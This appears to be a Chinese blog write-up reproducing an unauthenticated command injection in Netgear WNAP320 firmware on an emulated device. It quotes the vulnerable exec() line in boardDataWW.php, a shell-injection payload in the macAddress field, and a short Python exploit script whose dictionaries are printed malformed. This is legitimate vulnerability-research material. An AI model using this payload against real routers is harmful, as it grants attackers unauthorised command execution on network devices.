Netgear-WNAP320未授权命令注入漏洞复现

IoT 3个月前 admin
13 0 0

固件解包

Netgear-WNAP320未授权命令注入漏洞复现Netgear-WNAP320未授权命令注入漏洞复现

固件模拟

sudo ./run.sh -d netgear /home/iot/Desktop/firmware/Netgear/WNAP320/rootfs.squashfs

固件模拟起来后在浏览器输入192.168.0.100进入web页面

默认用户名密码admin:password

Netgear-WNAP320未授权命令注入漏洞复现分为Configuration(配置)、Monitoring(监控)、Maintenance(维护)、Support(支持)、四个板块

Netgear-WNAP320未授权命令注入漏洞复现在web端一个一个点 抓包分析与先前分析的数据包有所不同就是这些数据包的请求没有提交到cgi中而是提交到php文件和js文件较多 这就说明我们分析的重点不应该在二进制文件 而是在.php文件.js文件中

Netgear-WNAP320未授权命令注入漏洞复现Netgear-WNAP320未授权命令注入漏洞复现

可是在对web页面一顿点点点都没发现什么参数输入点 就算有也利用不了

Netgear-WNAP320未授权命令注入漏洞复现
87fcd7bdac7eb69d3c4a97de42c8e4e.jpg

最后在longlong师傅的点拨下我才想起来这个13厂商Netgear喜欢藏后门(www目录也藏挺深、在home目录下)

用.sh脚本递归提取一下文件名

[https://github.com/Nop3z/Filerunrun](https://github.com/Nop3z/Filerunrun)Netgear-WNAP320未授权命令注入漏洞复现

打开burpsuite随便抓取一个流量包

Netgear-WNAP320未授权命令注入漏洞复现记得不要勾选箭头指向的框(勾上了burpsuite会自动进行url编码)

Netgear-WNAP320未授权命令注入漏洞复现
图片.png

点击右上角的start attack即可开始爆破

Netgear-WNAP320未授权命令注入漏洞复现
图片.png

其中状态码为200的是可以访问的 经过对每一个响应包的查看 发现只有请求3、4返回的包有输入点

Netgear-WNAP320未授权命令注入漏洞复现在浏览器中输入http://192.168.0.100/boardDataWW.php即可访问 我们可以输入的点是MAC地址但他限制了只能输入12位十六进制数  Netgear-WNAP320未授权命令注入漏洞复现Netgear-WNAP320未授权命令注入漏洞复现如果web页面输入超过12位是无法传参的 但是在抓到数据包后是可以在mac地址后加任意字符的 原因是这个程序只做了前端的校验

在数据包中可以看到我们的参数都被提交到了boardDataWW.php文件中

Netgear-WNAP320未授权命令注入漏洞复现
图片.png

我们去看看boardDataWW.php源码

Netgear-WNAP320未授权命令注入漏洞复现其实关键点就在这一行 我们提交的macAddress参数以及reginfo参数会在这被当作参数传入exec函数中 这些参数都是我们可控的并且程序没有对我们传入的参数进行足够的过滤 所以在这存在命令注入漏洞

exec("wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],$dummy,$res);Netgear-WNAP320未授权命令注入漏洞复现

在这简单的说一下exec函数

函数定义

string exec ( string $command [, array &$output [, int &$result_code ]] )

$command:存储执行的命令

$output:用来存放执行结果的数组

$result_code:存储命令执行的状态码

在这没有$output所以像ls这种指令是没有回显的

我们尝试用写文件的方式来验证漏洞存在

payload :macAddress=aaaaaaaaaaaaecho PWNED_by_Nop > /tmp/Nop&reginfo=0&writeData=Submit

Netgear-WNAP320未授权命令注入漏洞复现至此命令注入漏洞验证已完成 但是在前面burpsuite爆破时我们没有删除cookie也就是我们是在认证的情况下进行操作的那么假如删除cookie后也能执行是不是就是未授权漏洞了呢?

于是我用burpsuite去掉cookie字段后去爆破 结果发现全是400

Netgear-WNAP320未授权命令注入漏洞复现
图片.png

但是奇怪的是当我在未登录的时候直接在url后加上boardDataWW.php后可以直接访问

于是我用burpsuite抓包分析 我擦 咋还自带cookie呢

我怀疑是我浏览器里缓存的cookie 于是我清理了浏览器的缓存

再次打开 发现依然有新的cookie 这我就奇怪的

Netgear-WNAP320未授权命令注入漏洞复现
图片.png

于是我重新抓包分析

在分析中我发现cookie是从返回包传回来的

Netgear-WNAP320未授权命令注入漏洞复现后来我去查找资料才发现这里的cookie并不是用来身份验证的

所以他这里没有进行任何的身份验证

所以这是一个未授权命令执行

Netgear-WNAP320未授权命令注入漏洞复现
图片.png

exp

import requests
url='http://192.168.0.100:80/boardDataWW.php'
cookies={"PHPSESSID""f8d3b504b0658d98d383b5d9c2c9134b"}
headers={
    "User-Agent""Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0"
    "Accept""text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
    "Accept-Language""en-US,en;q=0.5"
    "Accept-Encoding""gzip, deflate, br"
    "Content-Type""application/x-www-form-urlencoded"
    "Referer""http://192.168.0.100/boardDataWW.php"
    "Origin""http://192.168.0.100"
    "Upgrade-Insecure-Requests""1"
    "Connection""close"
}
payload={
    "macAddress""aaaaaaaaaaaa`echo PWNED_BY_Nop > /tmp/Nop`"
    "reginfo""0"
    "writeData""Submit"
}

requests.post(url, headers=headers, cookies=cookies, data=payload)
Netgear-WNAP320未授权命令注入漏洞复现
图片.png

Netgear-WNAP320未授权命令注入漏洞复现

总结:在之前也做过命令注入的复现但漏洞点都在二进制文件中,所以这次也惯性思维把时间花在了二进制文件中,但这次漏洞点在.php文件中,除此之外,boardDataWW.php不是在web端发现的,而是用burpsuite爆破发现的,所以每次分析时都应该用burpsuite爆破遍历所有web页面


原文始发于微信公众号(ProtoWare安全实验室):Netgear-WNAP320未授权命令注入漏洞复现

版权声明:admin 发表于 2024年7月31日 上午9:31。
转载请注明:Netgear-WNAP320未授权命令注入漏洞复现 | CTF导航

相关文章